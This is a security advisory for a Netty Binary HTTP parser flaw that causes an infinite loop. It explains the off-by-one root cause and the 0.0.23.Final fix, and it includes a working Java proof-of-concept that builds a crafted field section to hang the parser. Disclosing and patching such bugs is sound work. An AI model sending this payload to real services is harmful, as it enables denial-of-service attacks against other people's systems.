CVE-2026-63124: netty-incubator-codec-bhttp BinaryHttpParser Infinite Loop DoS
A crafted Binary HTTP request with a field section that ends exactly on a complete field line causes the Netty BHTTP parser to loop forever, blocking the event-loop thread and taking the service down.

The problem
In BinaryHttpParser.readFieldSection(), a while (fieldSectionLength != 0) loop repeatedly calls readFieldLine() and subtracts the bytes consumed each iteration.
The problem is in readFieldLine() (line 678-681): when the last field line ends exactly at the boundary of the readable slice, the method returns null without consuming any bytes. Back in the outer loop, read becomes zero. With JVM assertions disabled (the production default), the guard assert read > 0 is silently skipped, so fieldSectionLength is never decremented and the loop never exits.
Any remote peer that can deliver BHTTP bytes, including authenticated OHTTP peers whose payload is decrypted before parsing, can trigger this to pin an event-loop thread indefinitely.
Proof of concept
A working proof-of-concept for CVE-2026-63124 in io.netty.incubator:netty-incubator-codec-bhttp, with the exact payload below.
// Minimal Java PoC (run WITHOUT -ea so the assert is inactive)
// Sends a known-length BHTTP GET request whose field section ends exactly
// at the last byte of the one field line it contains.
//
// Field section encoding:
// varint(4) <- field section length = 4 bytes total
// varint(1) + "a" <- field name (1+1 = 2 bytes)
// varint(1) + "b" <- field value (1+1 = 2 bytes)
// Total field section body = 4 bytes, no byte follows => triggers null return.
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.incubator.codec.bhttp.BinaryHttpParser;
import io.netty.incubator.codec.bhttp.VarIntCodecUtils;
import java.nio.charset.StandardCharsets;
public final class VerifyBhttpHang {
private static void writeAscii(ByteBuf out, String v) {
VarIntCodecUtils.writeVariableLengthInteger(out, v.length());
out.writeCharSequence(v, StandardCharsets.US_ASCII);
}
public static void main(String[] args) {
ByteBuf buf = Unpooled.buffer();
VarIntCodecUtils.writeVariableLengthInteger(buf, 0); // known-length request
writeAscii(buf, "GET");
writeAscii(buf, "https");
writeAscii(buf, "example.com");
writeAscii(buf, "/");
VarIntCodecUtils.writeVariableLengthInteger(buf, 4); // field section = 4 bytes
writeAscii(buf, "a"); // name
writeAscii(buf, "b"); // value
// parser hangs here; timeout 3 returns exit 124
new BinaryHttpParser(8192).parse(buf, false);
}
}The root cause is an off-by-one in readFieldLine() (CWE-835, Loop with Unreachable Exit Condition). The check if (sumBytes >= in.readableBytes()) return null was designed to signal that more bytes are needed, but it fires even when the field line is 100% complete, just because no extra byte exists beyond it.
The fix in 0.0.23.Final makes readFieldSection() treat a null return from readFieldLine() as incomplete input and propagates null upward instead of continuing the loop. It also adds a runtime guard that throws a DecoderException if a loop iteration makes zero progress, giving a safe failure even with assertions off.
The fix
Upgrade io.netty.incubator:netty-incubator-codec-bhttp (and the parent netty-incubator-codec-ohttp bundle) to **0.0.23.Final**. The fix is in the 0.0.23.Final release: https://github.com/netty/netty-incubator-codec-ohttp/releases/tag/netty-incubator-codec-parent-ohttp-0.0.23.Final
Related research
- high · 7.5CVE-2026-63202CVE-2026-63202: netty-incubator-codec-bhttp BinaryHttpParser Infinite Loop DoS
- highCVE-2026-61827CVE-2026-61827: netty-incubator-codec-bhttp BinaryHttpParser Unbounded Memory Allocation (OOM)
- high · 7.5CVE-2026-59902CVE-2026-59902: netty-transport-sctp SctpMessageCompletionHandler Memory Exhaustion
- high · 7.5CVE-2026-56819CVE-2026-56819: netty-codec-http2 HTTP/2 Decompression ByteBuf Reference-Count Leak (OOM DoS)